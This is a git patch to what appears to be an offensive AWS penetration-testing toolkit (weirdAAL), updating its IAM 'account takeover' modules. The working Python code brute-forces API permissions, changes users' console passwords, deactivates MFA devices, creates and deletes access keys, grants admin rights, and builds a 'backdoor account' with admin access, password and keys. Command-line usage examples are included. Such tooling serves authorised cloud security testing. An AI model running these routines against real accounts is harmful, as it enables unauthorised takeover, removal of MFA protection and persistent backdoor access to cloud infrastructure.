From ed630bba1f8bde07de36b6dba34ab39342f5b59b Mon Sep 17 00:00:00 2001 From: carnal0wnage Date: Mon, 23 Apr 2018 19:26:47 -0400 Subject: [PATCH] iam updates --- libs/brute.py | 6 ++-- libs/iam.py | 57 ++++++++++++++++++++++++--------- modules/iam.py | 27 +++++++++++----- modules/iam_pwn.py | 78 +++++++++++++++++++++++++++++++++++++++++----- weirdAAL.py | 2 +- 5 files changed, 135 insertions(+), 35 deletions(-) diff --git a/libs/brute.py b/libs/brute.py index 6aae3a4..95e7160 100644 --- a/libs/brute.py +++ b/libs/brute.py @@ -277,7 +277,7 @@ def brute_alexaforbusiness_permissions(): http://boto3.readthedocs.io/en/latest/reference/services/alexaforbusiness.html ''' print("### Enumerating Alexa For Business Permissions ###") - tests = [('ListSkills', 'list_skills', (), {}, ), ] + tests = [('CreateAddressBook', 'create_address_book', (), {'Name' : 'Test'}, ), ] return generic_permission_bruteforcer('alexaforbusiness', tests) @@ -701,9 +701,9 @@ def brute_ec2_permissions(): ('DescribeImages', 'describe_images', (), {'DryRun': True, 'Owners': ['self', ]}, ), ('CreateImage', 'create_image', (), {'InstanceId': 'i-0ffffeeeeaa11e111', 'Name': 'testimage', 'DryRun': True}, ), ('DescribeVolumes', 'describe_volumes', (), {'DryRun': True}, ), - ('CreateVolume', 'create_volume', (), {'AvailabilityZone': 'us-east-2', 'Size': 8, 'DryRun': True}, ), + ('CreateVolume', 'create_volume', (), {'AvailabilityZone': 'us-east-1a', 'Size': 8, 'DryRun': True}, ), ('DescribeSnapshots', 'describe_snapshots', (), {'DryRun': True, 'OwnerIds': ['self', ]}, ), - ('CreateSnapshot', 'create_snapshot', (), {'VolumeId': 'vol-05777eab71bc97dcb', 'DryRun': True}, ), + #('CreateSnapshot', 'create_snapshot', (), {'VolumeId': 'vol-05777eab71bc97dcb', 'DryRun': True}, ), ('DescribeAccountAttributes', 'describe_account_attributes', (), {'DryRun': True}, ), ('DescribeAddresses', 'describe_addresses', (), {'DryRun': True}, ), ('DescribeAvailabilityZones', 'describe_availability_zones', (), {'DryRun': True}, ), diff --git a/libs/iam.py b/libs/iam.py index f7697b1..7165334 100644 --- a/libs/iam.py +++ b/libs/iam.py @@ -67,13 +67,14 @@ def check_root_account(): except KeyboardInterrupt: print("CTRL-C received, exiting...") -def change_user_console_password(username, password): +def iam_change_user_console_password(username, password): client = boto3.client('iam', region_name=region) try: response = client.update_login_profile(UserName=username,Password=password, PasswordResetRequired=False) print('Changing password for user: {} to password: {}' .format(username, password)) - print('Response to password change was: []' .format(response['ResponseMetadata']['HTTPStatusCode'])) + # print(response) + print('Response to password change was: {}' .format(response['ResponseMetadata']['HTTPStatusCode'])) except botocore.exceptions.ClientError as e: if e.response['Error']['Code'] == 'PasswordPolicyViolation': print("Password policy violation. Manually check password policy") @@ -85,7 +86,7 @@ def change_user_console_password(username, password): print("CTRL-C received, exiting...") -def create_user_console_password(username, password): +def iam_create_user_console_password(username, password): client = boto3.client('iam', region_name=region) try: @@ -115,7 +116,7 @@ def get_password_policy(): except KeyboardInterrupt: print("CTRL-C received, exiting...") -def create_user(username): +def iam_create_user(username): client = boto3.client('iam', region_name=region) try: @@ -132,7 +133,7 @@ def create_user(username): except KeyboardInterrupt: print("CTRL-C received, exiting...") -def create_access_key( username): +def iam_create_access_key(username): client = boto3.client('iam', region_name=region) try: @@ -144,7 +145,7 @@ def create_access_key( username): except KeyboardInterrupt: print("CTRL-C received, exiting...") -def delete_access_key(username, accesskey): +def iam_delete_access_key(username, accesskey): client = boto3.client('iam', region_name=region) try: @@ -160,11 +161,11 @@ def delete_access_key(username, accesskey): print("CTRL-C received, exiting...") #untested :-/ but should work #TODO -def delete_mfa_device(username, mfaserial): +def iam_delete_mfa_device(username, mfaserial): client = boto3.client('iam', region_name=region) try: delete_mfa = client.deactivate_mfa_device(UserName=username, SerialNumber=mfaserial) - print("Deleting a MFA device: {} for: {}" .format(mfaserial, username)) + print("Deleting MFA device: {} for: {}" .format(mfaserial, username)) print('Response to delete MFA devices was: {}' .format(delete_mfa['ResponseMetadata']['HTTPStatusCode'])) except botocore.exceptions.ClientError as e: if e.response['Error']['Code'] == 'NoSuchEntity': @@ -174,8 +175,34 @@ def delete_mfa_device(username, mfaserial): except KeyboardInterrupt: print("CTRL-C received, exiting...") +def iam_list_mfa_device(username): + client = boto3.client('iam', region_name=region) + try: + response = client.list_mfa_devices(UserName=username) + # print(response) + if response.get('MFADevices') is None: + print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID)) + elif len(response['MFADevices']) <= 0: + print("[-] ListMFADevices allowed for {} but no results [-]" .format(region)) + else: + print("### MFA info for {} ###".format(username)) + for device in response['MFADevices']: + pp.pprint(device) + print("\n") -def make_admin(username): + except botocore.exceptions.ClientError as e: + if e.response['Error']['Code'] == 'InvalidClientTokenId': + sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID)) + elif e.response['Error']['Code'] == 'AccessDenied': + print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID)) + elif e.response['Error']['Code'] == 'SubscriptionRequiredException': + print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID)) + else: + print("Unexpected error: {}" .format(e)) + except KeyboardInterrupt: + print("CTRL-C received, exiting...") + +def iam_make_admin(username): client = boto3.client('iam', region_name=region) try: @@ -191,15 +218,15 @@ def make_admin(username): except KeyboardInterrupt: print("CTRL-C received, exiting...") -def make_backdoor_account( username, password): +def iam_make_backdoor_account( username, password): client = boto3.client('iam', region_name=region) try: - print("making backdoor account with username: {}" .format(username)) - create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username) - make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username) - create_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username, password) - create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username) + print("Making backdoor account with username: {}" .format(username)) + iam_create_user(username) + iam_make_admin(username) + iam_create_user_console_password(username, password) + iam_create_access_key(username) except botocore.exceptions.ClientError as e: print("Unexpected error: {}" .format(e)) diff --git a/modules/iam.py b/modules/iam.py index dfef5e0..358272a 100644 --- a/modules/iam.py +++ b/modules/iam.py @@ -16,7 +16,7 @@ def module_iam_get_account_summary(): iam_get_account_summary() -def module_iam_list_users(*args): +def module_iam_list_users(): iam_list_users() def module_iam_check_root_account(): @@ -31,12 +31,23 @@ def module_iam_list_roles(): def module_iam_list_policies(): iam_list_policies() -#have to figure out the argument passing part here first -def module_iam_list_user_policies(): - iam_list_user_policies( 'root') -def module_iam_list_attached_user_policies(): - iam_list_attached_user_policies( 'root') +def module_iam_list_user_policies(*text): + ''' + List user policies for specified user + python3 weirdAAL.py -m iam_list_user_policies -a python -t yolo + ''' + iam_list_user_policies(text[0][0]) -def module_iam_list_entities_for_policy(): - iam_list_entities_for_policy('arn:aws:iam::xxxxxxx') +def module_iam_list_attached_user_policies(*text): + ''' + List attached user policies for specified user + python3 weirdAAL.py -m iam_list_attached_user_policies -a python -t yolo + ''' + iam_list_attached_user_policies(text[0][0]) + +def module_iam_list_entities_for_policy(*text): + ''' + python3 weirdAAL.py -m iam_list_entities_for_policy -a 'arn:aws:iam::...' -t yolo + ''' + iam_list_entities_for_policy(text[0][0]) diff --git a/modules/iam_pwn.py b/modules/iam_pwn.py index 35f9bd8..0a727fe 100644 --- a/modules/iam_pwn.py +++ b/modules/iam_pwn.py @@ -1,18 +1,80 @@ ''' +Functions specificially realted to IAM account takeover if you have root or IAM access gather user info, manipulate access keys or passwords, make backdoor account ''' from libs.iam import * from libs.sts import * -#from config import AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY -def module_iam_pwn(): - get_accountid() - check_root_account() +def module_iam_get_account_summary(): + ''' + Get account summmary for current user get_account_summary() + ''' + iam_get_account_summary() + + +def module_iam_check_root_account(): + ''' + runs get_account_summary, list_users, for each user list_login_profiles() & list_mfa_devices() + ''' + check_root_account() + + +def module_iam_get_password_policy(): + ''' + runs IAM get_account_password_policy for the current user + ''' get_password_policy() -#create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3') -#delete_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3', 'AKIAIJV3RQMOYM7WQS2Q') -#change_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, 'pythons3', 'PS#EDCasd123456!@') + + +def module_iam_list_mfa_device(*text): + ''' + List MFA device for specified user + python3 weirdAAL.py -m iam_list_mfa_device -a python -t yolo + ''' + iam_list_mfa_device(text[0][0]) + + +def module_iam_delete_mfa_device(*text): + ''' + delete specified MFA device for specified user - username,serialnum + python3 weirdAAL.py -m iam_delete_mfa_device -a 'python','arn:aws:iam::XXXXXXXXX:mfa/python' -t yolo + ''' + iam_delete_mfa_device(text[0][0], text[0][1]) + + +def module_iam_change_user_console_password(*text): + ''' + change the console password for the specied user + python3 weirdAAL.py -m iam_change_user_console_password -a 'python','HackTh3Planet!' -t yolo + ''' + iam_change_user_console_password(text[0][0], text[0][1]) + + +def module_iam_create_access_key(*text): + ''' + create an access key for specfied user + python3 weirdAAL.py -m iam_create_access_key -a 'python' -t yolo + ''' + iam_create_access_key(text[0][0]) + + +def module_iam_delete_access_key(*text): + ''' + delete the specified access key for a specified user username,accesskeyid + python3 weirdAAL.py -m iam_delete_access_key -a 'python','AKIAEXAMPLEQ' -t yolo + ''' + iam_delete_access_key(text[0][0], text[0][1]) + #create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax') #make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax') -#make_backdoor_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax','PS#EDCasd123456!@') + +def module_iam_make_backdoor_account(*text): + ''' + calls the following functions: + iam_create_user(username) + iam_make_admin(username) + iam_create_user_console_password(username, password) + iam_create_access_key(username) + ''' + iam_make_backdoor_account(text[0][0], text[0][1]) diff --git a/weirdAAL.py b/weirdAAL.py index 3ad706c..6138f24 100755 --- a/weirdAAL.py +++ b/weirdAAL.py @@ -30,7 +30,7 @@ parser.add_argument("-v", "--verbosity", help="increase output verbosity", actio args = parser.parse_args() # Provides us with a global var "db_name" we can access anywhere -builtins.db_name = "weirdAAL.py" +builtins.db_name = "weirdAAL.db" # Provides us with a global var "target" we can access anywhere builtins.target = args.target